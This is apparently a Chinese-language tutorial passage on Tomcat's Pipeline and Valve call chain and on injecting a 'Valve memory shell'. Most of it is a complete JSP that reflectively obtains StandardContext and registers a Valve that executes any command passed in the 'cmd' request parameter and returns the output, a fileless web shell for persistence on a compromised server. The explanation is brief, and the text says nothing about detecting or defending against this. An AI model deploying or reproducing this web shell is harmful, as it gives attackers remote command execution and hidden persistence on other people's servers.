# Pineline
在上面的 Tomcat 执行流程中讲到过 Pineline
的调用链,每一层的 valve
都会顺序调用,上层的 valve
会调用下层的 valve
,然后每次调用 valve
的 invoke()
方法
比如在 StandardHostValve
类中是这样调用 valve
的 invoke()
方法的
Context context = request.getContext(); // 获取 StandardContext | |
... | |
context.getPipeline().getFirst().invoke(request, response); // 获取 StandardContext 的 Valve |
然后在每一个 invoke()
里面又会递归调用
getNext().invoke(request, response); // 获取 StandardContext 的下一个 Valve |
所以我们只需在 standardContext
中添加我们的 valve
,即可注入 Valve
内存马
standardContext.getPipeline().addValve(valve); |
实现
<%@ page import="java.lang.reflect.Field" %> | |
<%@ page import="org.apache.catalina.core.ApplicationContext" %> | |
<%@ page import="org.apache.catalina.core.StandardContext" %> | |
<%@ page import="java.io.InputStream" %> | |
<%@ page import="java.util.Scanner" %> | |
<%@ page import="java.io.IOException" %> | |
<%@ page import="org.apache.catalina.connector.Request" %> | |
<%@ page import="org.apache.catalina.Valve" %> | |
<%@ page import="org.apache.catalina.connector.Response" %> | |
<%@ page import="java.io.PrintWriter" %> | |
<%@ page contentType="text/html;charset=UTF-8" language="java" %> | |
<html> | |
<head> | |
<title>AddVavle</title> | |
</head> | |
<body> | |
<% | |
try { | |
// 从 ServletContext 中反射获取 ApplicationContext 和 StandardContext | |
ServletContext servletContext = request.getSession().getServletContext(); | |
Field appctx = servletContext.getClass().getDeclaredField("context"); | |
appctx.setAccessible(true); | |
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); | |
Field stdctx = applicationContext.getClass().getDeclaredField("context"); | |
stdctx.setAccessible(true); | |
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); | |
Valve valve = new Valve() { | |
@Override | |
public void invoke(Request request, Response response) throws IOException, ServletException { | |
HttpServletRequest req = request; | |
String cmd = req.getParameter("cmd"); | |
if (cmd != null) { | |
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); | |
Scanner s = new Scanner(in).useDelimiter("\\A"); | |
String output = s.hasNext() ? s.next() : ""; | |
PrintWriter out = response.getWriter(); | |
out.println(output); | |
out.flush(); | |
out.close(); | |
} | |
this.getNext().invoke(request, response); | |
} | |
@Override | |
public boolean isAsyncSupported() { return false; } | |
@Override | |
public Valve getNext() { return null; } | |
@Override | |
public void setNext(Valve valve) {} | |
@Override | |
public void backgroundProcess() {} | |
}; | |
standardContext.getPipeline().addValve(valve); | |
response.getWriter().write("Success"); | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
%> | |
</body> | |
</html> |